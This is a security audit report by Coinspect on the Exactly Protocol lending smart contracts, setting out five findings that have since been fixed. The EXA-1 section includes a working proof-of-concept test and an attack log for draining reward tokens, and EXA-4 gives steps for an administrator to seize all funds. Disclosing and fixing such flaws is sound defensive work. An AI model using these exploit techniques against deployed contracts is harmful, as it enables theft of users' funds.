Smart Contract Audit

coinspect

EXACTLY

Exactly Protocol

Smart Contract Audit

V220126

Prepared for Exactly Finance • November 2021

1. Executive Summary

In **November 2021**, **Exactly Finance** engaged Coinspect to perform a source code review of the **Exactly Protocol**. The objective of the project was to evaluate the security of the smart contracts.

The project is under active development and some vulnerabilities were identified that put user funds at risk. It is recommended that the protocol is re-audited once these issues are resolved and the code is ready for deployment.

The following issues were identified during the assessment:

High Risk	Medium Risk	Low Risk
4	**1**	**0**
Fixed	Fixed	Fixed
4	1	0

Coinspect determined that the EXA token rewards distribution process was flawed and could be exploited to claim all available reward tokens (EXA-1 Attackers can steal all available EXA reward tokens).

Coinspect observed the mechanism utilized by users to borrow from a market could be potentially abused to charge more fees than the user expects (EXA-3 Borrowers are forced to accept arbitrary rates) and an easy fix is suggested in order to protect borrow operations.

Finally, Coinspect identified a scenario that results in debt from maturity pools not being repaid to the smart pool and that could affect the provision of liquidity across the system, as well as alter utilization ratios calculations and other mechanisms (EXA-5 Wrong accounting results in maturity pool not repaying its debt).

During January 2022 Coinspect verified the findings reported had been properly addressed by the Exactly team and this report was updated to reflect this fact.

2. Assessment and Scope

Exactly is a non-custodial protocol that provides fixed-income solutions for lenders and borrowers by setting interest rates based on supply and demand for credit of each supported token for a certain period of time.

The audit started on **November 22, 2021** and was conducted on the Git repository at https://github.com/exactly-finance/protocol/releases/tag/0.0.3. The last commit reviewed during this engagement was:

`351d868e858f588d3e06c3a1cb9568ea13535601` (**November 22, 2021**).

The scope of the audit was limited to the latest version of the following Solidity source files, shown here with their sha256sum hash:

```
5d7f4847b7df7abecd925bb26a71201f5698d71583ef722dfbd7a7de178312e3  ./InterestRateModel.sol
1621ac0dc5ae1add06b515a71dbd9e19b9d30331e0035dd348066cbe4cc484f7  ./external/MockedChainlinkFeedRegistry.sol
f16e005e849632d2c7607aa4181bccd802f37f9a04b456bdd6888e1731e59521  ./external/ETokenHarness.sol
a691fdd30020b5eef4e36e079bfd567600d70fcb636248434c5dbd99c8a10dba  ./external/AuditorHarness.sol
34bdf457b35a6ec5fc763abb8bfb6e48f04ab8d1c44c1677b642ee8e388126bd  ./external/MockedToken.sol
8601815505a0d06faf3e64517889a0b11b86f8be73b7a3b5e17f46760a476f03  ./external/SomeToken.sol
eef7bb405dc74556e861eb159cc164573b64762e64b1760d88cb6c85e25b9466  ./external/ExafinHarness.sol
3ec660daffe06aebe445587c925358f421aa6ba281f17be6449c60d599f5a466  ./external/MockedOracle.sol
57b818f4071b9f51b7c818035d25c453780ef68b3fff835a44b1ec084e0f836d  ./ExaToken.sol
ac8ca9d1d44eb33e1b6aa88563f4309ceb68cfa431b16808a7032dc1c94c7371  ./FixedLender.sol
2b5978ce52dda860673ff6f3879ce14cdd0807d697d0598c8ef45afd97f97276  ./interfaces/IAuditor.sol
63451663b71b11019c9a784aa6222b9b3ee24d43e90f621cb2e4dcf5761a6153  ./interfaces/IFixedLender.sol
e0ed3681aba864f573c62634de7a6f61d129f6a147bdc3894f3e514f4472a592  ./interfaces/IOracle.sol
3a304c870295a9578b79842a516572108076f574bbc53bf731925d1e6d90d119  ./interfaces/IEToken.sol
b6a8fd7251729a6a32ffb96e19be3ff7ab0f340ff80b752b098103836f7c2b9f  ./interfaces/IInterestRateModel.sol
d3a1a46224e37407c14b476686729ff6600ff4d4a141b4dc79289543163853d6  ./interfaces/IChainlinkFeedRegistry.sol
868a59f75d544a06a14585ccb040234218249a720066eaf36f2b4fa14edb54e0  ./EToken.sol
961cac3fc664f9a88dc4c6e5aab153fba7cec6944484ce91107a10bd625d2732  ./utils/MarketsLib.sol
4c2529e04b7af3c9c637b976d3a97f578b6704501c53a005901e4c7fb2152007  ./utils/TSUtils.sol
ef99cb8a0a1a2462f3c904e00c172324babb8d8cace0d9bda2af0b0ae2241636  ./utils/ExaLib.sol
2c5d39ac21dca8870b2fc42fcbcb4ab2c6b360731ea6ec2d1466a883d555f905  ./utils/Poollib.sol
5e4fb8ffc752e382df789015ba9b167046ed69079e0575a768374882d8f14722  ./utils/DecimalMath.sol
7b7d567a29704dd895e442eaf78de8969ebdcbe9d38ea0e5107fdd941cd456a5  ./utils/Errors.sol
18e3e09f5de0578369e0b397ba0f6994879ab289eeb2469b69a740075df67cd0  ./ExactlyOracle.sol
7bd39a55311bef50003fcbcc8eb75ee3b1b6014153aa9ed903ad59489e48eb18  ./Auditor.sol
```

Additionally, the `Exactly White Paper v1.1` was consulted during the engagement.

The smart contracts are specified to be compiled with a Solidity compiler minimum version 0.8.4.

The repository includes a set of tests (296 passing) which result in an almost 100% code coverage. However, these are mostly based on mock contracts, and **developing full integration tests is strongly recommended**, as mock contracts could mask important unintended interactions and vulnerabilities.

The code is actively being developed while the audit is being conducted. Coinspect observed the implementation differs from the whitepaper in several parts and this is considered normal for the project's development stage.

The contracts reviewed are not upgradable. Regarding governance, Exactly intentions are to be initially launched with a centralized model that will be eventually decentralized to EXA token holders. Governance has the ability to set all parameters in the system as listed in the Exactly Whitepaper:

1. Assets to be accepted for supplying and lending
2. Parameters of the model to determine interest rates for each asset
3. Asset parameters such as Collateral Factor
4. System parameters such as Reserve Factor
5. Max maturity dates window in the system
6. Distribution of EXA token rewards

Additionally, Coinspect observed the Governance has the ability to affects the platform behavior and its users by:

1. Seizing arbitrary funds from markets (because of its severity and because it exceeds expected administrative powers this is considered a vulnerability and detailed in EXA-4 Administrator can seize all user funds.
2. Setting unlimited fees for the liquidations operations. It is recommended that a maximum fee value is established in order to guarantee fees can not ever be above it.
3. Updating the price feed oracle contract addresses in order to manipulate all operations.

Coinspect suggests adding a time lock mechanism in order to allow users to react to changes in the protocol that affect them.

With respect to the oracle utilized to value collaterals, Coinspect noticed that a failing oracle (e.g., Exactly implementation detects feeds that have not been recently updated) results in transactions being reverted. This situation will continue until the Oracle gets fixed or is swapped for a working one. If this happens during a fast market crash, this will cause positions not to be liquidated in time, resulting in undercollateralized positions in the platform. It is worth considering incorporating alternative price sources and/or an off-chain monitoring process to guarantee oracles are quickly swapped if needed.

3. Summary of Findings

Id	Title	Total Risk	Fixed
EXA-1	Attackers can steal all available EXA reward tokens	High	✔
EXA-2	FixedLender mints more ETokens than it should	Medium	✔
EXA-3	Borrowers are forced to accept arbitrary rates	High	✔
EXA-4	Administrator can seize all user funds	High	✔
EXA-5	Wrong accounting results in maturity pool not repaying its debt	High	✔

4. Detailed Findings

EXA-1	Attackers can steal all available EXA reward tokens	

Total Risk
High
	Impact
	High
		Location
		`ExaLib.sol`
		`EToken.sol`
		`Auditor.sol`

Fixed ✔	Likelihood High	

Description

Attackers can subvert the reward claiming mechanism to steal all the available EXA reward tokens. As a consequence, users will not be able to request their rewards as expected.

The reward distribution calculation is based on the amount of:

1. Smart Pool shares (ETokens) the user holds,
2. Current EXA distribution speed per block,
3. Rewards already accrued to the user,
4. **Smart Pool index delta (since the user state was last updated)**.

However, **the calculation of claimable rewards can be manipulated** in certain scenarios because it does not take into account how long the user has been in possession of his shares or if rewards were paid for these shares while in possession of a different holder.

If the user state has not been previously updated, as it happens if the user token balance was transferred instead of being obtained by supplying tokens to the smart pool, the difference between the EXA_INITIAL_INDEX constant which is used to initialize the pool and current index is used to calculate the accrued rewards.

This means that when a user obtains his ETokens through a transfer (and not by supplying the underlying token to the pool), **the rewards paid by the protocol are calculated as if the user had supplied the funds when the Smart Pool was created and never claimed them before.**

The mechanism summarized in the previous paragraphs is implemented in the `_distributeSmartPoolExa` function (logging calls added by the Coinspect team):

```
 /**
   * @notice INTERNAL Calculate EXA accrued by a supplier and possibly transfer it to them
   * @param fixedLenderState RewardsState storage in Auditor
   * @param fixedLenderAddress The market in which the supplier is interacting
   * @param supplier The address of the supplier to distribute EXA to
   */
  function _distributeSmartPoolExa(
      RewardsState storage fixedLenderState,
      address fixedLenderAddress,
      address supplier
  ) internal {
      ExaState storage exaState = fixedLenderState.exaState[fixedLenderAddress];
      MarketRewardsState storage smartState = exaState.exaSmartState;
      Double memory smartPoolIndex = Double({value: smartState.index});
      Double memory smartSupplierIndex = Double({value: exaState.exaSmartSupplierIndex[supplier]});

      // COINSPECT: only initialized here
      exaState.exaSmartSupplierIndex[supplier] = smartPoolIndex.value;
      if(smartPoolIndex.value!=0) {
          console.log("_distributeSmartPoolExa() updating supplier %s to index %d",
                                                  supplier, smartPoolIndex.value);
      }

      if (smartSupplierIndex.value == 0 && smartPoolIndex.value > 0) {
          console.log("_distributeSmartPoolExa() first time supplier? using EXA_INITIAL_INDEX %d",
                                                                              EXA_INITIAL_INDEX);
          smartSupplierIndex.value = EXA_INITIAL_INDEX;
      }
```

```
        Double memory deltaIndex = smartPoolIndex.sub_(smartSupplierIndex);
        uint smartSupplierTokens = IFixedLender(fixedLenderAddress).eToken().balanceOf(supplier);

        if(smartSupplierTokens!=0) {
            console.log("_distributeSmartPoolExa() supplier balance %d", smartSupplierTokens);
            console.log("_distributeSmartPoolExa() smartSupplierIndex %d", smartSupplierIndex.value);
            console.log("_distributeSmartPoolExa() smartPoolIndex %d", smartPoolIndex.value);
            console.log("_distributeSmartPoolExa() deltaIndex %d", deltaIndex.value);
        }

        uint smartSupplierDelta = smartSupplierTokens.mul_(deltaIndex);
        uint smartSupplierAccrued = fixedLenderState.exaAccruedUser[supplier] + smartSupplierDelta;
        fixedLenderState.exaAccruedUser[supplier] = smartSupplierAccrued;
        emit DistributedSmartPoolExa(fixedLenderAddress, supplier, smartSupplierDelta,
                                                                  smartPoolIndex.value);
    }
```

To exploit the platform the attackers need to execute the following steps:

1. Supply as many funds as possible to the target `SmartPool` from one address (`maria` in the proof of concept scenario below); these funds could be flash loaned.
2. Transfer the shares obtained in step 1 to a second address (`mario` in the proof of concept scenario).
3. Claim rewards for `maria` (these rewards will be the expected quantity).
4. **Claim rewards for `mario` (these rewards will be miscalculated using the just received share balance, and paid the full amount since the SmartPool creation).**

This process can be repeated indefinitely and each iteration will mint more EXA rewards to the attacker.

Note the `beforeSupplySmartPool` and `beforeWithdrawSmartPools` functions in the `Auditor.sol` contract does update the smart pool rewards state as expected:

```
function beforeSupplySmartPool(
    address fixedLenderAddress,
    address supplier
) override external {
    if (!book.markets[fixedLenderAddress].isListed) {
        revert GenericError(ErrorCode.MARKET_NOT_LISTED);
    }

    rewardsState.updateExaSmartPoolIndex(block.number, fixedLenderAddress);
    rewardsState.distributeSmartPoolExa(fixedLenderAddress, supplier);
}
```

The following attack log shows the resulting user EXA balances after a successful one iteration only attack:

```
  ExaToken Smart Pool
   Integration
     COINSPECT

1) maria supplies 100 DAI to SmartPool
   _distributeSmartPoolExa() updating supplier
         0xbfca370f499ca4f4840710ffa2ea6a7b6fa24ee3 to index 1e+36
   _distributeSmartPoolExa() first time supplier? using EXA_INITIAL_INDEX 1e+36

2) maria claims all rewards
   _distributeSmartPoolExa() updating supplier
      0xbfca370f499ca4f4840710ffa2ea6a7b6fa24ee3 to index 1.006e+36
   _distributeSmartPoolExa() supplier balance 100000000000000000000
   _distributeSmartPoolExa() smartSupplierIndex 1e+36
   _distributeSmartPoolExa() smartPoolIndex 1.006e+36
   _distributeSmartPoolExa() deltaIndex 6e+33

3) maria transfers 100 eDAI to mario

4) mario claims all rewards
   _distributeSmartPoolExa() updating supplier
      0xea83dbbffc69ef163ea0e0532a8ef1c7163a97c8 to index 1.008e+36
   _distributeSmartPoolExa() first time supplier? using EXA_INITIAL_INDEX 1e+36
   _distributeSmartPoolExa() supplier balance 100000000000000000000
   _distributeSmartPoolExa() smartSupplierIndex 1e+36
   _distributeSmartPoolExa() smartPoolIndex 1.008e+36
   _distributeSmartPoolExa() deltaIndex 8e+33

=> balance EXA maria 600000000000000000
=> balance EXA mario 800000000000000000
```

As a consequence, `mario` obtains more rewards than `maria` even when it has only participated in the smart pool for the past 2 blocks. Mario gets paid rewards as if he had participated in the smart pool since its creation.

Note how when `mario` claims rewards the supplier index used to calculate the amount of claimable tokens is the `EXA_INITIAL_INDEX`. Instead, the index delta since the tokens were transferred should have been used in order to avoid paying rewards twice for each `EToken`.

Recommendation

Coinspect recommends updating the Smart Pool reward state from the EToken `transfer` hooks (both for sender and receiver) in order to avoid duplicating the accrued rewards.

Proof of Concept

The following test case scenario utilizing Exactly testing framework was developed to illustrate this finding:

```
describe("Integration", () => {
  let dai: Contract;
  let fixedLenderDAI: Contract;
  let eDAI: Contract;
  let auditor: Contract;
  let exaToken: Contract;

  beforeEach(async () => {
    dai = exactlyEnv.getUnderlying("DAI");
    fixedLenderDAI = exactlyEnv.getFixedLender("DAI");
    eDAI = exactlyEnv.getEToken("DAI");
    auditor = exactlyEnv.auditor;
    exaToken = exactlyEnv.exaToken;
    await eDAI.setFixedLender(fixedLenderDAI.address);

    // From Owner to User
    await dai.transfer(mariaUser.address, parseUnits("1000"));
  });

  describe("COINSPECT", () => {
    beforeEach(async () => {
      await auditor.setExaSpeed(fixedLenderDAI.address, parseUnits("0.10"));
      await dai.transfer(mariaUser.address, parseUnits("1000"));
      await exaToken.transfer(auditor.address, parseUnits("50"));
    });

    it("stealing SmartPool EXA rewards", async () => {
      const underlyingAmount = parseUnits("100");
      await dai
        .connect(mariaUser)
        .approve(fixedLenderDAI.address, underlyingAmount);

      let balanceMariaPre = await exaToken.balanceOf(mariaUser.address);
      let balanceMarioPre = await exaToken.balanceOf(marioUser.address);

      console.log("1) maria supplies 100 DAI to SmartPool")
      await fixedLenderDAI
        .connect(mariaUser)
        .depositToSmartPool(underlyingAmount);

      await ethers.provider.send("evm_mine", []);
      await ethers.provider.send("evm_mine", []);
      await ethers.provider.send("evm_mine", []);
      await ethers.provider.send("evm_mine", []);
      await ethers.provider.send("evm_mine", []);

      console.log("2) maria claims all rewards")
      await auditor.connect(mariaUser).claimExaAll(mariaUser.address);

      console.log("3) maria transfers 100 eDAI to mario")
      await eDAI.connect(mariaUser).transfer(marioUser.address, underlyingAmount);

      console.log("4) mario claims all rewards")
      await auditor.connect(marioUser).claimExaAll(marioUser.address);

      let balanceMariaPost = await exaToken.balanceOf(mariaUser.address);
      let balanceMarioPost = await exaToken.balanceOf(marioUser.address);
      console.log("=> balance EXA maria %d", balanceMariaPost);
      console.log("=> balance EXA mario %d", balanceMarioPost);

      expect(balanceMariaPre).to.equal(0);
      expect(balanceMariaPost).to.not.equal(0);
      expect(balanceMarioPre).to.equal(0);
      expect(balanceMarioPost).to.not.equal(0);
    });
```

Status

This issue was fixed by https://github.com/exactly-finance/protocol/pull/141.

EXA-2	FixedLender mints more ETokens than it should	
Total Risk Medium	Impact High	Location `FixedLender.sol`
Fixed ✔	Likelihood Low	

Description

The `FixedLender` contract could be abused to mint more tokens than the amount corresponding to the collateral actually deposited. In a similar fashion other functions handling critical funds transfers could be exploited as well.

The `following` functions do not verify if the collateral token `safeTransferFrom` resulted in the expected amount being transferred, instead if the call does not revert, it trusts the total amount was transferred:

1. `depositToSmartPool`
2. `_repayLiquidate`
3. `supply`
4. `_repay`
5. `_seize`

The total `amount` is assumed to be transferred after the transfer and used to calculate the number of shares to mint to the depositor. This is the `depositToSmartPool` function:

```
  /**
     * @dev Deposits an `amount` of underlying asset into the smart pool, receiving in return
overlying eTokens.
    * - E.g. User deposits 100 USDC and gets in return 100 eUSDC
    * @param amount The amount to be deposited
```

```
 */
function depositToSmartPool(uint256 amount) external override {
    auditor.beforeSupplySmartPool(address(this), msg.sender);

    trustedUnderlying.safeTransferFrom(msg.sender, address(this), amount);

    eToken.mint(msg.sender, amount);

    smartPool.supplied += amount;
    emit DepositToSmartPool(msg.sender, amount);
}
```

This is the `_repayLiquidate` function:

```
function _repayLiquidate(
    address payer,
    address borrower,
    uint256 repayAmount,
    uint256 maturityDate
) internal {
    require(repayAmount != 0, "You can't repay zero");

    trustedUnderlying.safeTransferFrom(payer, address(this), repayAmount);

    uint256 amountBorrowed = borrowedAmounts[maturityDate][borrower];
    borrowedAmounts[maturityDate][borrower] = amountBorrowed - repayAmount;

    // That repayment diminishes debt in the pool
    PoolLib.MaturityPool memory pool = pools[maturityDate];
    pool.borrowed -= repayAmount;
    pools[maturityDate] = pool;

    totalBorrows -= repayAmount;
    totalBorrowsUser[borrower] -= repayAmount;

    emit Repaid(payer, borrower, repayAmount, maturityDate);
```

There are tokens that transfer less than the specified amount. For example, the USDT token's `transfer` and `transferFrom` functions (Tether: USDT Stablecoin | 0xdac17f958d2ee523a2206206994597c13d831ec7) deduct a fee for each transfer if a fee percentage is configured. While it is not configured to take fees right now, this could change in the future.

Similar scenarios are possible in the future depending on the ERC20 tokens that are allowed as collateral in Exactly pools. Also, some contracts could be upgraded to incorporate this behavior and introduce a vulnerability as an unintended side-effect.

Recommendation

It is advised to check the balance of the contract before and after the `transferFrom` call is performed in order to determine the exact amount that was received to bulletproof Exactly pools for future updates.

Status

This issue was fixed by https://github.com/exactly-finance/protocol/pull/145.

EXA-3 Borrowers are forced to accept arbitrary rates

Total Risk	Impact	Location
High	High	`FixedLender.sol`
Fixed ✓	Likelihood High	

Description

The borrow function does not allow users to specify a maximum acceptable lending rate and this could be abused by front-running their transactions to charge them unexpected rates in order to benefit lenders.

Below we show an excerpt from the borrow function, which only takes two parameters: the amount to borrow and the maturity date. According to the state of the corresponding pool, a commission rate is calculated and applied. As a result, the user receives that amount of tokens he requested, but now owes the protocol an amount he has no control on and that could be very different to the rate calculated before sending the transaction. This lack of a protection mechanism exposes the user to being exploited, for example, by front-running his transactions.

```
/**
 * @dev Lends to a wallet for a certain maturity date/pool
 * @param amount amount to send to the specified wallet
 * @param maturityDate maturity date for repayment
 */
function borrow(uint256 amount, uint256 maturityDate)
    public
    override
    nonReentrant
{
    bool newDebt = false;
```

```
        [...]

        uint256 commissionRate = interestRateModel.getRateToBorrow(
            maturityDate,
            pool,
            smartPool,
            newDebt
        );
         uint256 commission = amount.mul_(commissionRate);
         uint256 totalBorrow = amount + commission;

       // reverts on failure
        auditor.borrowAllowed(
            address(this),
            msg.sender,
            totalBorrow,
            maturityDate
        );

        pool.borrowed = pool.borrowed + commission;
        pools[maturityDate] = pool;

        uint256 currentTotalBorrow = amount + commission;
        borrowedAmounts[maturityDate][msg.sender] += currentTotalBorrow;

        totalBorrows += currentTotalBorrow;
        totalBorrowsUser[msg.sender] += currentTotalBorrow;

        trustedUnderlying.safeTransferFrom(address(this), msg.sender, amount);

        emit Borrowed(msg.sender, amount, commission, maturityDate);
    }
```

The commission rates are calculated in the `InterestRateModel` contract based on the pool's utilization rate (supplied and borrowed amounts), and by supplying and withdrawing funds from the market and smart pools attackers could manipulate the rates.

Recommendation

Allow users to pass a maximum accepted commission as a parameter to the borrow function in order to protect them from abusive rates.

Status

This issue was fixed by https://github.com/exactly-finance/protocol/pull/145.

EXA-4 Administrator can seize all user funds

Total Risk	Impact	Location
High	High	`Auditor.sol` `FixedLender.sol`
Fixed ✓	Likelihood High	

Description

The system administrators can seize all user deposits at will.

Even though because of their administrative powers the Administrators role could indirectly affect the behavior of the platform to benefit themselves (e.g., by setting the oracle to a contract in their control), these actions would require some time and would get noticed. However, the current implementation allows an administrator to directly seize all funds from pools. This could be exploited if the protocol's administrative accounts are compromised.

To accomplish this the following steps are required:

1. A contract is deployed with the ability to call the public `seize` function in `FixedLender` contracts.
2. Administrator calls the `enableMarket` function in the Auditor contract in order to list the contract deployed in step 1 in the book market.
3. The contract is now allowed to seize all funds from all `FixedLenders`.

This exploit is possible because the public `seize` function exists in addition to the internal `_seize` function. The internal version is only called from the code responsible for liquidations, after all checks have been performed in order to validate if the liquidation request is valid and should proceed. On the other hand, the public `seize` function is intended to be called when one market (`FixedLender` contract) needs to seize funds (as part of the liquidation process) from a different market (`FixedLender` contract). These are both `seize` functions:

```
/**
```

```
     * @notice Public function to seize a certain amount of tokens
     * @dev Public function for liquidator to seize borrowers tokens in a certain maturity date.
     *      This function will only be called from another FixedLender, on `liquidation` calls.
     *      That's why msg.sender needs to be passed to the private function (to be validated as a
market)
     * @param liquidator address which will receive the seized tokens
     * @param borrower address from which the tokens will be seized
     * @param seizeAmount amount to be removed from borrower's posession
     * @param maturityDate maturity date from where the tokens will be removed. Used to remove
liquidity.
     */
    function seize(
        address liquidator,
        address borrower,
        uint256 seizeAmount,
        uint256 maturityDate
    ) external override nonReentrant {
        _seize(msg.sender, liquidator, borrower, seizeAmount, maturityDate);
    }

    /**
     * @notice Private function to seize a certain amount of tokens
     * @dev Private function for liquidator to seize borrowers tokens in a certain maturity date.
     *      This function will only be called from this FixedLender, on `liquidation` or through
`seize` calls from another FixedLender.
     *      That's why msg.sender needs to be passed to the private function (to be validated as a
market)
     * @param seizerFixedLender address which is calling the seize function (see `seize` public
function)
     * @param liquidator address which will receive the seized tokens
     * @param borrower address from which the tokens will be seized
     * @param seizeAmount amount to be removed from borrower's posession
     * @param maturityDate maturity date from where the tokens will be removed. Used to remove
liquidity.
     */
    function _seize(
        address seizerFixedLender,
        address liquidator,
        address borrower,
        uint256 seizeAmount,
        uint256 maturityDate
    ) internal {
        // reverts on failure
        auditor.seizeAllowed(
            address(this),
            seizerFixedLender,
            liquidator,
            borrower
        );
        uint256 protocolAmount = seizeAmount.mul_(liquidationFee);
        uint256 amountToTransfer = seizeAmount - protocolAmount;

        suppliedAmounts[maturityDate][borrower] -= seizeAmount;

        // That seize amount diminishes liquidity in the pool
        PoolLib.MaturityPool memory pool = pools[maturityDate];
        pool.supplied -= seizeAmount;
        pools[maturityDate] = pool;

        totalDeposits -= seizeAmount;
        totalDepositsUser[borrower] -= seizeAmount;

        trustedUnderlying.safeTransfer(liquidator, amountToTransfer);

        emit Seized(liquidator, borrower, seizeAmount, maturityDate);
        emit ReservesAdded(address(this), protocolAmount);
    }
```

And this is how the `_seize` or `seize` functions are expected to be called from a market after the proper validations are performed during the liquidation process:

```
    function _liquidate(
        address liquidator,
        address borrower,
        uint256 repayAmount,
        IFixedLender fixedLenderCollateral,
        uint256 maturityDate
    ) internal returns (uint256) {
        // reverts on failure
        auditor.liquidateAllowed(
            address(this),
            address(fixedLenderCollateral),
            liquidator,
            borrower,
            repayAmount,
            maturityDate
        );

        _repayLiquidate(liquidator, borrower, repayAmount, maturityDate);

        // reverts on failure
        uint256 seizeTokens = auditor.liquidateCalculateSeizeAmount(
            address(this),
            address(fixedLenderCollateral),
            repayAmount
        );
        /* Revert if borrower collateral token balance < seizeTokens */
        (uint256 balance, ) = fixedLenderCollateral.getAccountSnapshot(
            borrower,
            maturityDate
        );
        if (balance < seizeTokens) {
            revert GenericError(ErrorCode.TOKENS_MORE_THAN_BALANCE);
        }

        // If this is also the collateral
        // run seizeInternal to avoid re-entrancy, otherwise make an external call
        // both revert on failure
        if (address(fixedLenderCollateral) == address(this)) {
            _seize(
                address(this),
                liquidator,
                borrower,
                seizeTokens,
                maturityDate
            );
        } else {
               fixedLenderCollateral.seize(
                liquidator,
                borrower,
                seizeTokens,
                maturityDate
            );
        }
```

In order to authorize the seizure request, the Auditor's `seizeAllow` function only checks if the `msg.sender` is a listed market, and that's why step 2 is required:

```
    /**
     * @dev Function to allow/reject seizing of assets. This function can be called
     *      externally, but only will have effect when called from a fixedLender.
      * @param fixedLenderCollateral market where the assets will be seized (should be msg.sender on
FixedLender.sol)
     * @param fixedLenderBorrowed market from where the debt will be paid
     * @param liquidator address to validate where the seized assets will be received
     * @param borrower address to validate where the assets will be removed
     */
    function seizeAllowed(
        address fixedLenderCollateral,
        address fixedLenderBorrowed,
        address liquidator,
        address borrower
    ) external view override {
        if (borrower == liquidator) {
            revert GenericError(ErrorCode.LIQUIDATOR_NOT_BORROWER);
        }

        // If markets are listed, they have also the same Auditor
        if (
            !book.markets[fixedLenderCollateral].isListed ||
            !book.markets[fixedLenderBorrowed].isListed
        ) {
            revert GenericError(ErrorCode.MARKET_NOT_LISTED);
        }
    }
```

This issue's root cause is that the `seize` function call authorization has no way to know if it is being invoked from an already authorized liquidation; and as a result, the Administrator can bypass the liquidation validation to directly seize every fund available in the markets.

Recommendation

Only authorize seizing of funds that are subject to liquidation rules. Do not allow anybody in the system to directly obtain user deposits.

Status

This issue is considered fixed by the addition of a timelock mechanism for governance actions in https://github.com/exactly-finance/protocol/pull/166.

EXA-5 Wrong accounting results in maturity pool not repaying its debt

Total Risk	Impact	Location
High	High	`FixedLender.sol`
Fixed ✓	Likelihood High	

Description

Inconsistent accounting of funds owed by maturity pools to the smart pool could result in lost funds or unexpected behaviors.

When a user supplies funds to a maturity pool the code checks if the target pool was owing funds to the related smart pool. If this is the case, the debt is canceled. However, the implementation handles the two possible scenarios in different ways:

1. If the supplied amount is smaller than the pool's debt: the amount is discounted from the debt, and the new funds are supplied to the smart pool
2. If the supplied amount is greater or equal to the pool's debt: debt is set to 0, and the **new funds are made available in the pool instead of being supplied to the smart pool**.

The expected behavior for point 2 would be to supply the smart pool with the owed amount, and to make the remaining funds available in the maturity pool.

As a consequence, funds are not being repaid to the smart pool, and this would affect the rest of the system, for example other pools won't have access to the smart pool liquidity.

This is the `supply` function in the `FixedLender` contract which implements the mechanism explained above:

```
function supply(
    address from,
    uint256 amount,
    uint256 maturityDate
) public override nonReentrant {
```

```
if (!TSUtils.isPoolID(maturityDate)) {
    revert GenericError(ErrorCode.INVALID_POOL_ID);
}

PoolLib.MaturityPool memory pool = pools[maturityDate];

// reverts on failure
auditor.supplyAllowed(address(this), from, maturityDate);


if (pool.debt > 0) {
    if (amount >= pool.debt) {
        pool.debt = 0;
        pool.supplied = pool.supplied + amount;
        pool.available = amount;
    } else {
        pool.debt = pool.debt - amount;

        smartPool.supplied = smartPool.supplied + amount;
    }
} else {
    pool.supplied = pool.supplied + amount;
    pool.available = pool.available + amount;
}
```

Coinspect observed, this specific part of the code is not covered by the tests and it is suggested to improve them to thoughtfully test this mechanism in order to detect this and other potential problems.

Because of time constraints, Coinspect did not try to develop a full working exploit for this issue.

Recommendation

Review the smart pool and maturity pool interactions to guarantee accounting is consistent.

Status

This issue is considered fixed as it no longer applies after the modifications introduced in https://github.com/exactly-finance/protocol/pull/175 and https://github.com/exactly-finance/protocol/pull/187.

5. Disclaimer

The information presented in this document is provided "as is" and without warranty. The present security audit does not cover any off-chain systems or frontends that communicate with the contracts, nor the general operational security of the organization that developed the code.